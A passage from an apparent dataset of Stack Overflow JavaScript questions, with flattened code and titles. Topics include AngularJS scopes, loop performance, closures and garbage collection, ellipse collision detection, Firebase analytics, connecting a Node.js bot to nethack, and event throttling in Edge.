the exact same user actions : Now , if I want to user a property of the block inside the repeater , the syntax is { { block.name } } . So the template for userActions contains this.However , once I use this template in the friend page , I must create { { block.name } } inside the scope of the friend controller . This does not make sense though , because the block only exists in the context of the block grid . I should n't have to create this block . What I want to be able to do , is just to call { { name } } from within the userActions directive template , since both the block scope and the controller contain it . I do n't want to create a block object , then artificially set block.name in each scope where I want to use the userActions directive.Here 's a jsFiddle to illustrate the cause < div ng-repeat= '' block in blocks '' > < cat block / > < friend block > < userActions directive / > < / friend block > < guitar block / > ... . more blocks < /div > ..fragment of friend page.. < element ng-control= '' friend '' > < userActions directive / > < /element >",Can I avoid the object variable name in ng-repeat loop ? "JS : So I was curious what would be faster for iterating through an array , the normal for loop or forEach so I executed this code in the console : Now the results in Chrome are 49ms for the for loop , 376ms for the forEach loop . Which is ok but the results in Firefox and IE ( and Edge ) are a lot different.In both other browsers the first loop takes ~15 seconds ( yes seconds ) while the forEach takes `` only '' ~4 seconds.My question is can someone tell me the exact reason Chrome is so much faster ? I tried all kinds of operations inside the loops , the results were always in favor for Chrome by a mile . var arr = [ ] ; arr.length = 10000000 ; //arr.fill ( 1 ) ; for ( var i_1 = 0 ; i_1 < arr.length ; i_1++ ) { arr [ i_1 ] = 1 ; } //////////////////////////////////var t = new Date ( ) ; var sum = 0 ; for ( var i = 0 ; i < arr.length ; i++ ) { var a = arr [ i ] ; if ( a & 1 ) { sum += a ; } else { sum -= a ; } } console.log ( new Date ( ) .getTime ( ) - t.getTime ( ) ) ; console.log ( sum ) ; t = new Date ( ) ; sum = 0 ; arr.forEach ( function ( value , i , aray ) { var a = value ; if ( a & 1 ) { sum += a ; } else { sum -= a ; } } ) ; console.log ( new Date ( ) .getTime ( ) - t.getTime ( ) ) ; console.log ( sum ) ;",Chrome for loop optimization "JS : I do n't have any trouble grabbing a list of elements and sorting them alphabetically , but I 'm having difficulty understanding how to do it with a modulus. # # # UPDATE # # # Here 's the code working 'my way ' , however , I like the re-usability of the answer provided below more , so have accepted that answer.For example . Say I have the following unordered list : I have this list set to display in 4 columns with each li floated right . Visually this makes finding items in larger lists difficult . The output I need is this : What I 'm looking for is a function that I can pass my array of list items and get my array returned , sorted alphabetically , with a modulus of choice ; in this case 4.Any help would be appreciated as I can find no documentation on the subject . < script type= '' text/javascript '' > $ ( document ) .ready ( function ( ) { $ ( '.sectionList2 ' ) .each ( function ( ) { var oldList = $ ( 'li a ' , this ) , columns = 4 , newList = [ ] ; for ( var start = 0 ; start < columns ; start++ ) { for ( var i = start ; i < oldList.length ; i += columns ) { newList.push ( ' < li > < a href= '' ' + oldList [ i ] .href + ' '' > ' + $ ( oldList [ i ] ) .text ( ) + ' < /a > < /li > ' ) ; } } $ ( this ) .html ( newList.join ( `` ) ) ; } ) ; } ) ; < /script > < ul > < li > < a href= '' ~ '' > Boots < /a > < /li > < li > < a href= '' ~ '' > Eyewear < /a > < /li > < li > < a href= '' ~ '' > Gloves < /a > < /li > < li > < a href= '' ~ '' > Heated Gear < /a > < /li > < li > < a href= '' ~ '' > Helmet Accessories < /a > < /li > < li > < a href= '' ~ '' > Helmets < /a > < /li > < li > < a href= '' ~ '' > Jackets < /a > < /li > < li > < a href= '' ~ '' > Mechanic 's Wear < /a > < /li > < li > < a href= '' ~ '' > Pants < /a > < /li > < li > < a href= '' ~ '' > Protection < /a > < /li > < li > < a href= '' ~ '' > Rainwear < /a > < /li > < li > < a href= '' ~ '' > Random Apparel < /a > < /li > < li > < a href= '' ~ '' > Riding Suits < /a > < /li > < li > < a href= '' ~ '' > Riding Underwear < /a > < /li > < li > < a href= '' ~ '' > Socks < /a > < /li > < li > < a href= '' ~ '' > Vests < /a > < /li > < /ul > < ul > < li > < a href= '' ~ '' > Boots < /a > < /li > < li > < a href= '' ~ '' > Helmet Accessories < /a > < /li > < li > < a href= '' ~ '' > Pants < /a > < /li > < li > < a href= '' ~ '' > Riding Suits < /a > < /li > < li > < a href= '' ~ '' > Eyewear < /a > < /li > < li > < a href= '' ~ '' > Helmets < /a > < /li > < li > < a href= '' ~ '' > Protection < /a > < /li > < li > < a href= '' ~ '' > Riding Underwear < /a > < /li > < li > < a href= '' ~ '' > Gloves < /a > < /li > < li > < a href= '' ~ '' > Jackets < /a > < /li > < li > < a href= '' ~ '' > Rainwear < /a > < /li > < li > < a href= '' ~ '' > Socks < /a > < /li > < li > < a href= '' ~ '' > Heated Gear < /a > < /li > < li > < a href= '' ~ '' > Mechanic 's Wear < /a > < /li > < li > < a href= '' ~ '' > Random Apparel < /a > < /li > < li > < a href= '' ~ '' > Vests < /a > < /li > < /ul >",Sorting a list alphabetically with a modulus "JS : as ECMAScriptv5 , each time when control enters a code , the enginge creates a LexicalEnvironment ( LE ) and a VariableEnvironment ( VE ) , for function code , these 2 objects are exactly the same reference which is the result of calling NewDeclarativeEnvironment ( ECMAScript v5 10.4.3 ) , and all variables declared in function code are stored in the environment record componentof VariableEnvironment ( ECMAScript v5 10.5 ) , and this is the basic concept for closure.What confused me is how Garbage Collect works with this closure approach , suppose I have code like : after the line var f2 = f1 ( ) , our object graph would be : so as from my little knowledge , if the javascript engine uses a reference counting method for garbage collection , the object o has at lease 1 refenrence and would never be GCed . Appearently this would result a waste of memory since o would never be used but is always stored in memory.Someone may said the engine knows that f2 's VariableEnvironment does n't use f1 's VariableEnvironment , so the entire f1 's VariableEnvironment would be GCed , so there is another code snippet which may lead to more complex situation : in this case , f2 uses the o1 object which stores in f1 's VariableEnvironment , so f2 's VariableEnvironment must keep a reference to f1 's VariableEnvironment , which result that o2 can not be GCed as well , which further result in a waste of memory.so I would ask , how modern javascript engine ( JScript.dll / V8 / SpiderMonkey ... ) handles such situation , is there a standard specified rule or is it implementation based , and what is the exact step javascript engine handles such object graph when executing Garbage Collection.Thanks . function f1 ( ) { var o = LargeObject.fromSize ( '10MB ' ) ; return function ( ) { // here never uses o return 'Hello world ' ; } } var f2 = f1 ( ) ; global - > f2 - > f2 's VariableEnvironment - > f1 's VariableEnvironment - > o function f1 ( ) { var o1 = LargeObject.fromSize ( '10MB ' ) ; var o2 = LargeObject.fromSize ( '10MB ' ) ; return function ( ) { alert ( o1 ) ; } } var f2 = f1 ( ) ;","About closure , LexicalEnvironment and GC" "JS : I 'm just starting an AI bot for the game nethack , and I ca n't bypass the 'human-check ' that 's in source . The section of code I 'm talking about is nethack/sys/unix/unixunix.c : I 'm working in JavaScript , ( more specifically Node.js ) , and due to the above , it wo n't let me play from the program , even though I 'm spawning a bash shell child process and telling it to start nethack . I need to figure out a way to bypass the above without recompiling the source.The current code I 'm using is : The output of the program is : What Node.js/JavaScript ( and not any other language or framework , if possible ) black magic could I use to solve this problem ? # ifdef TTY_GRAPHICS /* idea from rpick % ucqais @ uccba.uc.edu * prevent automated rerolling of characters * test input ( fd0 ) so that tee'ing output to get a screen dump still * works * also incidentally prevents development of any hack-o-matic programs */ /* added check for window-system type -dlc */ if ( ! strcmp ( windowprocs.name , `` tty '' ) ) if ( ! isatty ( 0 ) ) error ( `` You must play from a terminal . `` ) ; # endif `` use strict '' ; var env = { TERM : 'tty ' } ; for ( var k in process.env ) { env [ k ] = process.env [ k ] ; } var terminal = require ( 'child_process ' ) .spawn ( 'bash ' , [ ] , { env : env , } ) ; terminal.stdout.on ( 'data ' , function ( data ) { console.log ( 'stdout : ' + data ) ; } ) ; terminal.on ( 'exit ' , function ( code ) { console.log ( 'child process exited with code ' + code ) ; } ) ; setTimeout ( function ( ) { terminal.stdin.write ( 'nethack ' ) ; terminal.stdin.end ( ) ; } , 1000 ) ; stdout : You must play from a terminal.child process exited with code 1",How to connect to nethack from Node.js ? "JS : i have a problem with a http post call in firefox . I know that when there are a cross origin , firefox first do a OPTIONS before the POST to know the access-control-allow headers.With this code i dont have any problem : I test this code with a simple html that invokes this function.Everything is ok and i have the response of the OPTIONS and POST , and i process the response . But , i 'm trying to integrate this code with an existen application with uses jquery ( i dont know if this is a problem ) , when the send ( data ) executes in this case , the browser ( firefox ) do the same , first do a OPTION request , but in this case dont receive the response of the server and puts this message in console : Undefined ... the undefined is because dont receive the response , but the code is the same , i dont know why in this case the option dont receive the response , someone have an idea ? i debug my server app and the OPTIONS arrive ok to the server , but it seems like the browser dont wait to the response.edit more later : ok i think that the problem is when i run with a simple html with a SCRIPT tag that invokes the method who do the request run ok , but in this app that dont receive the response , i have a form that do a onsubmit event , i think that the submit event returns very fast and the browser dont have time to get the OPTIONS request.edit more later later : WTF , i resolve the problem make the POST request to sync : The submit reponse very quickly and ca n't wait to the OPTION response of the browser , any idea to this ? Net.requestSpeech.prototype.post = function ( url , data ) { if ( this.xhr ! = null ) { this.xhr.open ( `` POST '' , url ) ; this.xhr.onreadystatechange = Net.requestSpeech.eventFunction ; this.xhr.setRequestHeader ( `` Content-Type '' , `` application/json ; charset=utf-8 '' ) ; this.xhr.send ( data ) ; } } [ 18:48:13.529 ] OPTIONS http : //localhost:8111/ [ undefined 31ms ] this.xhr.open ( `` POST '' , url , false ) ;",http post request with cross-origin in javascript JS : Consider these two functions.alert ( typeof func2 ( ) ) //return object alert ( typeof func1 ( ) ) //return undefinedWhy does the position of the braces matter when in many other languages it does not ? Is it a language feature or a bug ? function func1 ( ) { return { foo : 'bar ' } } function func2 ( ) { return { foo : 'bar ' } },Why does the position of braces in JavaScript matter ? "JS : I 've installed the npm module and when lifting my application , it gives the following error . I was not able to find any suitable solution in the GitHub Issues or Wiki.The module is here . I 've already included in my config directory passport.js and auth.js files , as they have noted . $ sails liftinfo : Starting app ... /home/me/Documents/projects/margin/node_modules/sails-auth/api/hooks/sails-auth.js:4 sails.services.passport.loadStrategies ( ) ; ^TypeError : Can not read property 'loadStrategies ' of undefinedat Hook.initialize ( /home/me/Documents/projects/margin/node_modules/sails-auth/api/hooks/sails-auth.js:4:30 ) at Hook.bound [ as initialize ] ( /usr/local/lib/node_modules/sails/node_modules/lodash/dist/lodash.js:729:21 ) at /usr/local/lib/node_modules/sails/lib/hooks/index.js:75:14at /usr/local/lib/node_modules/sails/node_modules/async/lib/async.js:454:17at /usr/local/lib/node_modules/sails/node_modules/async/lib/async.js:444:17at Array.forEach ( native ) at _each ( /usr/local/lib/node_modules/sails/node_modules/async/lib/async.js:46:24 ) at Immediate.taskComplete ( /usr/local/lib/node_modules/sails/node_modules/async/lib/async.js:443:13 ) at processImmediate [ as _immediateCallback ] ( timers.js:358:17 )",sails-auth module gives `` Can not read property 'loadStrategies ' of undefined '' "JS : I 'm remaking a memory game to become familiar with controllerAs View Syntax . I 've narrowed the problem to the check function ; but i might be wrong . The check function passes card as a parameter but when i use console.log ( card ) there is no value for card , when card should have the value of the array hiragana or optionally letters . ( function ( ) { // constant variables var constants = new ( function ( ) { var rows = 3 ; var columns = 6 ; var numMatches = ( rows * columns ) / 2 ; this.getRows = function ( ) { return rows ; } ; this.getColumns = function ( ) { return columns ; } ; this.getNumMatches = function ( ) { return numMatches ; } ; } ) ( ) ; // Global Variablesvar currentSessionOpen = false ; var previousCard = null ; var numPairs = 0 ; // this function creates deck of cards that returns an object of cards // to the callerfunction createDeck ( ) { var rows = constants.getRows ( ) ; var cols = constants.getColumns ( ) ; var key = createRandom ( ) ; var deck = { } ; deck.rows = [ ] ; // create each row for ( var i = 0 ; i < rows ; i++ ) { var row = { } ; row.cards = [ ] ; // create each card in the row for ( var j = 0 ; j < cols ; j++ ) { var card = { } ; card.isFaceUp = false ; card.item = key.pop ( ) ; row.cards.push ( card ) ; } deck.rows.push ( row ) ; } return deck ; } // used to remove something form an array by indexfunction removeByIndex ( arr , index ) { arr.splice ( index , 1 ) ; } function insertByIndex ( arr , index , item ) { arr.splice ( index , 0 , item ) ; } // creates a random array of items that contain matches// for example : [ 1 , 5 , 6 , 5 , 1 , 6 ] function createRandom ( ) { var matches = constants.getNumMatches ( ) ; var pool = [ ] ; var answers = [ ] ; var letters = [ ' A ' , ' B ' , ' C ' , 'D ' , ' E ' , ' F ' , ' G ' , ' H ' , ' I ' , ' J ' , ' K ' , ' L ' , 'M ' , ' N ' , ' O ' , ' P ' , ' Q ' , ' R ' , 'S ' , 'T ' , ' U ' , ' W ' , ' X ' , ' Y ' , ' Z ' ] ; var hiragana = [ ' あ ' , ' い ' , ' う ' , ' え ' , ' お ' , ' か ' , ' が ' , ' き ' , ' ぎ ' , ' く ' , ' ぐ ' , ' け ' , ' げ ' , ' こ ' , ' ご ' , ' さ ' , ' ざ ' , ' し ' , ' じ ' , ' す ' , ' ず ' , ' せ ' , ' ぜ ' , ' そ ' , ' ぞ ' , ' た ' , ' だ ' , ' ち ' , ' ぢ ' , ' つ ' , ' づ ' , ' て ' , ' で ' , ' と ' , ' ど ' , ' な ' , ' に ' , ' ぬ ' , ' ね ' , ' の ' , ' は ' , ' ば ' , ' ぱ ' , ' ひ ' , ' び ' , ' ぴ ' , ' ふ ' , ' ぶ ' , ' ぷ ' , ' へ ' , ' べ ' , ' ぺ ' , ' ほ ' , ' ぼ ' , ' ぽ ' , ' ま ' , ' み ' , ' む ' , ' め ' , ' も ' , ' や ' , ' ゆ ' , ' よ ' , ' ら ' , ' り ' , ' る ' , ' れ ' , ' ろ ' , ' わ ' , ' を ' , ' ん ' ] ; // set what kind of item to display var items = hiragana ; // create the arrays for random numbers and item holder for ( var i = 0 ; i < matches * 2 ; i++ ) { pool.push ( i ) ; // random numbers } // generate an array with the random items for ( var n = 0 ; n < matches ; n++ ) { // grab random letter from array and remove that letter from the // original array var randLetter = Math.floor ( ( Math.random ( ) * items.length ) ) ; var letter = items [ randLetter ] ; removeByIndex ( items , randLetter ) ; // generate two random placements for each item var randPool = Math.floor ( ( Math.random ( ) * pool.length ) ) ; // remove the placeholder from answers and insert the letter into // random slot insertByIndex ( answers , pool [ randPool ] , letter ) ; // remove random number from pool removeByIndex ( pool , randPool ) ; // redo this process for the second placement randPool = Math.floor ( ( Math.random ( ) * pool.length ) ) ; insertByIndex ( answers , pool [ randPool ] , letter ) ; // remove rand number from pool removeByIndex ( pool , randPool ) ; } return answers ; } angular.module ( 'cards ' , [ 'ngAnimate ' ] ) ; angular .module ( 'cards ' ) .controller ( 'CardController ' , CardController ) ; function CardController ( $ timeout ) { /* jshint validthis : true */ var vm = this ; vm.deck = createDeck ( ) ; vm.isGuarding = true ; vm.inGame = false ; function check ( card ) { if ( currentSessionOpen & & previousCard ! = card & & previousCard.item == card.item & & ! card.isFaceUp ) { card.isFaceUp = true ; console.log ( card.isFaceUp ) ; previousCard = null ; currentSessionOpen = false ; numPairs++ ; } else if ( currentSessionOpen & & previousCard ! = card & & previousCard.item ! = card.item & & ! card.isFaceUp ) { vm.isGuarding = true ; vm.card.isFaceUp = true ; console.log ( vm.card.isFaceUp ) currentSessionOpen = false ; $ timeout ( function ( ) { previousCard.isFaceUp = card.isFaceUp = false ; previousCard = null ; vm.isGuarding = vm.timeLimit ? false : true ; } , 1000 ) ; } else { card.isFaceUp = true ; currentSessionOpen = true ; previousCard = card ; } if ( numPairs == constants.getNumMatches ( ) ) { vm.stopTimer ( ) ; } } //end of check ( ) // for the timer vm.timeLimit = 60000 ; vm.isCritical = false ; var timer = null ; // start the timer as soon as the player presses start vm.start = function ( ) { // I need to fix this redundancy . I initially did not create this // game with a start button . vm.deck = createDeck ( ) ; // set the time of 1 minutes and remove the cards guard vm.timeLimit = 60000 ; vm.isGuarding = false ; vm.inGame = true ; ( vm.startTimer = function ( ) { vm.timeLimit -= 1000 ; vm.isCritical = vm.timeLimit < = 10000 ? true : false ; timer = $ timeout ( vm.startTimer , 1000 ) ; if ( vm.timeLimit === 0 ) { vm.stopTimer ( ) ; vm.isGuarding = true ; } } ) ( ) ; } // function to stop the timer vm.stopTimer = function ( ) { $ timeout.cancel ( timer ) ; vm.inGame = false ; previousCard = null ; currentSessionOpen = false ; numPairs = 0 ; } } //end CardController } ) ( ) ; < ! doctype html > < html ng-app= '' cards '' > < head > < meta charset= '' utf-8 '' > < script src= '' https : //ajax.googleapis.com/ajax/libs/angularjs/1.5.7/angular.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.0/angular-animate.js '' > < /script > < script src= '' https : //ajax.googleapis.com/ajax/libs/angular_material/1.1.1/angular-material.js '' > < /script > < link rel= '' stylesheet '' href= '' cards.css '' > < /head > < body > < div class= '' cntr '' ng-controller= '' CardController as cards '' > < div class= '' timer '' ng-class= '' { critical : cards.isCritical } '' > { { cards.timeLimit | date : 'm : ss ' } } < /div > < table class= '' table-top '' > < tr ng-repeat= '' row in cards.deck.rows '' > < td ng-repeat= '' card in row.cards '' > < div class= '' card_container { { ! card.isFaceUp ? `` : 'flip ' } } '' ng-click= '' cards.isGuarding || check ( card ) '' > < div class= '' card shadow '' > < div class= '' front face '' > < /div > < div class= '' back face text-center pagination-center '' > < p > { { card.item } } < /p > < /div > < /div > < /div > < /td > < /tr > < /table > < div class= '' startbtn '' > < button type= '' button '' class= '' btn btn-default btn-lg '' ng-disabled= '' cards.inGame == true '' ng-click= '' cards.start ( ) '' > Start < /button > < /div > < /div > < script type= '' text/javascript '' src= '' cards.js '' > < /script > < /body > < /html >",memory game with angular "JS : I have 2 ellipses and I need to detect any overlap between them.Here is an example of detecting overlap between two circles , and I am looking for something similar for ellipses : For ellipses , I have the same variable because my radius on the vertical axis is 2 times smaller as the radius on the horizontal axis : var circle1 = { radius : 20 , x : 5 , y : 5 } ; var circle2 = { radius : 12 , x : 10 , y : 5 } ; var dx = circle1.x - circle2.x ; var dy = circle1.y - circle2.y ; var distance = Math.sqrt ( dx * dx + dy * dy ) ; if ( distance < circle1.radius + circle2.radius ) { // collision ! } var oval1 = { radius : 20 , x : 5 , y : 5 } ; var oval2 = { radius : 12 , x : 10 , y : 5 } ; // what comes here ? if ( /* condition ? */ ) { // collision ! } var result = document.getElementById ( `` result '' ) ; var canvas = document.getElementById ( `` canvas '' ) ; var context = canvas.getContext ( `` 2d '' ) ; // First eclipsevar eclipse1 = { radius : 20 , x : 100 , y : 40 } ; // Second eclipsevar eclipse2 = { radius : 20 , x : 120 , y : 65 } ; function have_collision ( element1 , element2 ) { var dx = element1.x - element2.x ; var dy = element1.y - element2.y ; var distance = Math.sqrt ( dx * dx + dy * dy ) ; if ( distance < = element1.radius + element2.radius ) { return true ; } else { return false ; } } function draw ( element ) { // http : //scienceprimer.com/draw-oval-html5-canvascontext.beginPath ( ) ; for ( var i = 0 * Math.PI ; i < 2 * Math.PI ; i += 0.01 ) { xPos = element.x - ( element.radius/2 * Math.sin ( i ) ) * Math.sin ( 0 * Math.PI ) + ( element.radius * Math.cos ( i ) ) * Math.cos ( 0 * Math.PI ) ; yPos = element.y + ( element.radius * Math.cos ( i ) ) * Math.sin ( 0 * Math.PI ) + ( element.radius/2 * Math.sin ( i ) ) * Math.cos ( 0 * Math.PI ) ; if ( i == 0 ) { context.moveTo ( xPos , yPos ) ; } else { context.lineTo ( xPos , yPos ) ; } } context.fillStyle = `` # C4C4C4 '' ; context.fill ( ) ; context.lineWidth = 2 ; context.strokeStyle = `` # FF0000 '' ; context.stroke ( ) ; context.closePath ( ) ; } function getMousePos ( canvas , evt ) { var rect = canvas.getBoundingClientRect ( ) ; return { x : evt.clientX - rect.left , y : evt.clientY - rect.top } ; } canvas.addEventListener ( 'mousemove ' , function ( e ) { var mousePos = getMousePos ( canvas , e ) ; eclipse2.x = mousePos.x ; eclipse2.y = mousePos.y ; result.innerHTML = 'Collision ? ' + have_collision ( eclipse1 , eclipse2 ) ; context.clearRect ( 0 , 0 , canvas.width , canvas.height ) ; draw ( eclipse1 ) ; draw ( eclipse2 ) ; } , false ) ; draw ( eclipse1 ) ; draw ( eclipse2 ) ; result.innerHTML = 'Collision ? ' + have_collision ( eclipse1 , eclipse2 ) ; # canvas { border : solid 1px rgba ( 0,0,0,0.5 ) ; } < canvas id= '' canvas '' > < /canvas > < p id= '' result '' > < /p > < code > distance = Math.sqrt ( dx * dx + dy * dy ) ; < /code >",Calculate overlap between two ellipses "JS : I used a firebase package for using realtime DB and I want to implement firebase analytics so I used the same package and write code for analyticsafter that , I imported defaultAnalytics in the file where I needed it and put that code to log the event for analytic purposesIt is working in development perfectly but not working in the production mode import * as firebase from 'firebase'import 'firebase/analytics'import { fireBase } from 'configs/config'const config = { apiKey : fireBase.REACT_APP_FIREBASE_API_KEY , authDomain : fireBase.REACT_APP_FIREBASE_AUTH_DOMAIN , databaseURL : fireBase.REACT_APP_FIREBASE_DATABASE_URL , projectId : fireBase.REACT_APP_FIREBASE_PROJECT_ID , storageBucket : fireBase.REACT_APP_FIREBASE_STORAGE_BUCKET , messagingSenderId : fireBase.REACT_APP_FIREBASE_MESSAGING_SENDER_ID , appId : fireBase.REACT_APP_FIREBASE_APP_ID , measurementId : fireBase.REACT_APP_MEASUREMENT_ID , } firebase.initializeApp ( config ) export const defaultAnalytics = firebase.analytics ( ) export default firebase defaultAnalytics.logEvent ( 'profile_update ' )",Firebase analytics log event not working in production build of electron "JS : Is there a way in ReactJS for a component to find out who it 's parent is ? EDIT 1 : Regardless of the merits of doing this , is there a way ? I have n't found a React way to do this - from what I can see , the idea is to pass callbacks down to the child from the parent , and the child calls the callback - unaware of the fact that the callback is actually on the parent.I 've tried setting an `` owner '' property , and that idea seems to work , but I wonder what 's the best approach ? e.g.Then in the child component , I can do owner.method , and it seems to work fine . I know this is n't a true parent/child relationship , but is the closest I 've found in my tests.Some may say that callbacks are a cleaner way of doing this , but the parent/child relationship for some things ( e.g . RadioButtonGroup and RadioButton ) seems natural and would benefit from knowing this relationship , in my opinion.EDIT 2 : So it 's not possible ? The thing that I do n't like about the idea that it 's not supported isthat HTML can be marked up with zero javascript - and it has implied , default functionality - some elements are required to have parents -they are defined as children of other elements ( e.g . ul and li ) . Thisca n't happen in JSX because if there is interaction between theelements - there has to be javascript events that bind thecomponents together - every single time you use them . Designers can'tsimply write HTML like syntax - Someone has to step in and put somejavascript bindings in there - which then makes the maintenanceharder . I think the idea makes sense for overriding default behavior , but default behaviors should be supported . And defaults wouldrequire knowing either your parent , or who your owner is . < Parent > < Child owner= { this } / > < /Parent >",ReactJS - How can a child find its parent ? "JS : I am a PHP developer and I am working on a project in which I need to store Arabic dates in my database.However , I have created the application and embedded a JavaScript Arabic calender in it.Now when I select a date , e.g 12/02/1442 , and press the save button , it gives me the following error : Year Out Of Range",Is there a way to store Arabic dates with Postgres ? "JS : BackgroundI have a pannable app window which works by listening for mousemove events and then using transform : translate3d ( ... ) to move the screen accordingly . It 's a large app and there is considerable UI work associated to facilitate this functionality . Here comes the MCVE , in which the real workload is mocked by a dummy for loop : JSFiddle example with larger drag-areaPlease hold and drag the example.This rudimentary snippet runs a dummy for loop every time mousemove fires , and the duration it takes for the loop to complete is displayed in the draggable container . This is needed to demonstrate the problem below . You may need to adjust the number of iterations , so that the loop takes somewhere above 10ms to run , but not much longer.ProblemThis snippet runs as fast as possible in Google Chrome , no problems there . Untested in Firefox.However , in Microsoft Edge ( and presumably , IE11 as well ) if globalMousemoveHandler runs for longer than about 10ms , the browser starts throttling the event mercillesly , making it fire much less frequently , and obliterating the panning progress down to a crawl.Also quite strange is that the for loop actually runs faster in Microsoft Edge than in Chrome ( almost 50 % faster ) , but the event still fires much less frequently.This is observable in the above snippet when viewed from the mentioned browsers . Now I understand the theoretical desire behind this functionality , but it renders my application unusable on these browsers -- I also do n't really understand what 's the point for the throttling to kick in below 16ms ( I 'm well under the 60 FPS frame budget ) , but that 's besides the question now ( although I 'd be glad to hear some details about this ) .How can I prevent this from happening ? var container = document.getElementById ( `` container '' ) ; var contents = document.getElementById ( `` contents '' ) ; var input = document.getElementById ( `` iterations '' ) ; var posX = 50 ; var posY = 50 ; var previousX = null ; var previousY = null ; var mousedownHandler = function ( e ) { window.onmousemove = globalMousemoveHandler ; window.onmouseup = globalMouseupHandler ; previousX = e.clientX ; previousY = e.clientY ; } var globalMousemoveHandler = function ( e ) { var now = Date.now ( ) ; for ( var i = 0 , n = parseInt ( input.value ) ; i < n ; i++ ) ; var elapsed = Date.now ( ) - now ; posX += e.clientX - previousX ; posY += e.clientY - previousY ; previousX = e.clientX ; previousY = e.clientY ; contents.style.transform = `` translate3d ( `` + posX + `` px , `` + posY + `` px , 0 ) '' ; contents.innerText = elapsed + `` ms '' ; } var globalMouseupHandler = function ( e ) { window.onmousemove = null ; window.onmouseup = null ; previousX = null ; previousY = null ; } container.onmousedown = mousedownHandler ; contents.style.transform = `` translate3d ( `` + posX + `` px , `` + posY + `` px , 0 ) '' ; # container { height : 180px ; width : 600px ; background-color : # ccc ; overflow : hidden ; cursor : -webkit-grab ; cursor : -moz-grab ; cursor : grab ; -moz-user-select : none ; -ms-user-select : none ; -webkit-user-select : none ; user-select : none ; } # container : active { cursor : move ; cursor : -webkit-grabbing ; cursor : -moz-grabbing ; cursor : grabbing ; } < label > Iterations : < input id= '' iterations '' type= '' number '' value= '' 20000000 '' step= '' 5000000 '' / > < /label > < div id= '' container '' > < div id= '' contents '' > Pannable container contents ... < /div > < /div >",How to prevent IE11 and Microsoft Edge from throttling events aggressively ? "JS : I 've been enjoying Lynda.com 's Jquery Essential Training , and I 've noticed that in the beginning the instructor uses : However , somewhere along the line he starts using : From the way he speaks , it sounds as if they are completely synonymous ( some inherent jquery shorthand ? ) but as far as I can tell , it 's never explicitly touched upon.I 'm sure someone could clear this up quickly for me . I found this but I believe that question is slightly different -- I understand the concept of calling a function on document ready versus one that is globally available ; ( those functions also have names . ) The instructor uses phantom functions ( I think that was the term for a function without a name , ) and when typing out Fig . 2 , he says `` So this will be on document ready ... '' Fig . 1 $ ( `` document '' ) .ready ( function ( ) { fun stuff goes here } ) ; Fig . 2 $ ( function ( ) { fun stuff goes here } ) ;",Are $ ( function ( ) { } ) ; and $ ( `` document '' ) .ready ( function ( ) { } ) ; the same ? "JS : Is it better to create hidden elements and then show them by click ( for example , on event ) or create and add to DOM by click using jQuery ? In which case performance will be better ? $ ( ' < div/ > ' , { 'id ' : 'createdafterhtmlloaded ' , 'style ' : ' ' , 'html ' : '' } ) .appendTo ( '.cont ' ) ;",Is it better to create hidden elements and then show them by click or create and add to DOM by click using jQuery "JS : google app-engine standardruntime : nodejs10I 'm not sure how I 'm messing this up since it seems so simple . According to the app engine standard documentation : Should have the ERROR log level in the Stackdriver Logs Viewer . However , I see the log level set to `` Any log level . '' What does seem correct is it 's logging to stderr as seen from the logName.To quote : To emit a log item from your Node.js app , you can use the console.log ( ) or console.error ( ) functions , which have the following log levels : Items emitted with console.log ( ) have the INFO log level . Items emitted with console.error ( ) have the ERROR log level . Internal system messages have the DEBUG log level . I was originally trying to get winston to work with Stackdriver ( using @ google-cloud/logging-winston ) to get more granular logging levels , but right now I ca n't even get it to log at INFO or ERROR with basic console.log ( ) and console.error ( ) .Hope I do n't have to write a crazy custom transport just to use plain console.error ( ) . console.error ( 'message ' ) ; logName : `` projects/my-project-name/logs/stderr ''",GAE node.js console.error ( ) not logging as ERROR log level "JS : I want to actualize this sorted result in javascript . A1-1 , A1-3 , A1-3-1 , A1-4 , A2 , A4-1 , A6-3 , A13-1 , A13-2 , A13-3 , A13-11 , A13-14 , A51-2But I have the below result with this code.A1-1 , A1-3 , A1-3-1 , A1-4 , A13-1 , A13-11 , A13-14 , A13-2 , A13-3 , A2 , A4-1 , A51-2 , A6-3I tried this library.https : //gist.github.com/think49/660141But it did n't work . `` A23 '' came first and `` A3-1 '' came after.I read this post and tried it.Javascript : natural sort of alphanumerical stringsBut it works only over IE11 and does n't work on Safari . I need to support IE9 and safari.I need your help . Thank you ! sortedAlphabetListData.sort ( function ( a , b ) { if ( a [ 0 ] < b [ 0 ] ) return -1 ; if ( a [ 0 ] > b [ 0 ] ) return 1 ; return 0 ; } ) ; var collator = new Intl.Collator ( undefined , { numeric : true , sensitivity : 'base ' } ) ; var sortedAlphabetListData = alphabetListData.sort ( collator.compare ) ;",sort array which has hyphen in javascript "JS : Does anyone knows an Angular directive for sliding long text when hovering on the HTML element ? I prefer not using jQuery plugin , if possible.Currently , the text is being truncated using css , but I want to be able to show the remaining characters to the user when hovering on it.Any alternative solution is also warmly welcomed.My Html : My CSS : < div class= '' name '' > < span > { { field.name } } < /span > span { padding : 0 10px ; font-size : 16px ; font-weight : 100 ; line-height : 32px ; text-overflow : ellipsis ; overflow : hidden ; display : block ; white-space : nowrap ; }",Angular Directive for sliding long text from side to side "JS : In the browser , we can create workers from a javascript string as follows : Is there any way to do this with node 's child process ? I have a single JavaScript file I and want to create workers that are coded dynamically.The source string is a created dynamically at run time.The closest answer I found was this one , but it requires a seperate file . var blob = new Blob ( [ sourceString ] ) ; var url = window.URL.createObjectURL ( blob ) ; var worker = new Worker ( url ) ;",How to create a child process from a string "JS : I have a class that returns a Proxy from the constructor . When I try to store instances of this class in IndexedDB , or send the object using window.postMessage ( ) , I receive an error stating that the object could not be cloned . It appears that the structured clone algorithm can not handle Proxy objects.The following code demonstrates the error : Can anyone suggest a workaround for this problem ? I see two potential solutions , but I do n't know how I might implement them : Do not return a Proxy from the constructor , but maintain the Proxy functionality within the class declaration somehow.Alter the Proxy instance so that it works with the structured clone algorithm.EDIT : The following , simpler code also demonstrates the structured clone error : class MyClass { constructor ( ) { return new Proxy ( this , { set ( target , prop , val , receiver ) { console.log ( ` `` $ { prop } '' was set to `` $ { val } '' ` ) ; return Reflect.set ( target , prop , val , receiver ) ; } } ) ; } } const obj = new MyClass ; try { window.postMessage ( obj , '* ' ) ; } catch ( err ) { console.error ( err ) ; } const p = new Proxy ( { } , { } ) ; window.postMessage ( p , '* ' ) ;",create structured clone of Proxy "JS : With regular React it 's possible to have something like this : In React Hooks , one could write this : What 's returned from useEffect will be executed only once before the component unmount , however the state ( as in 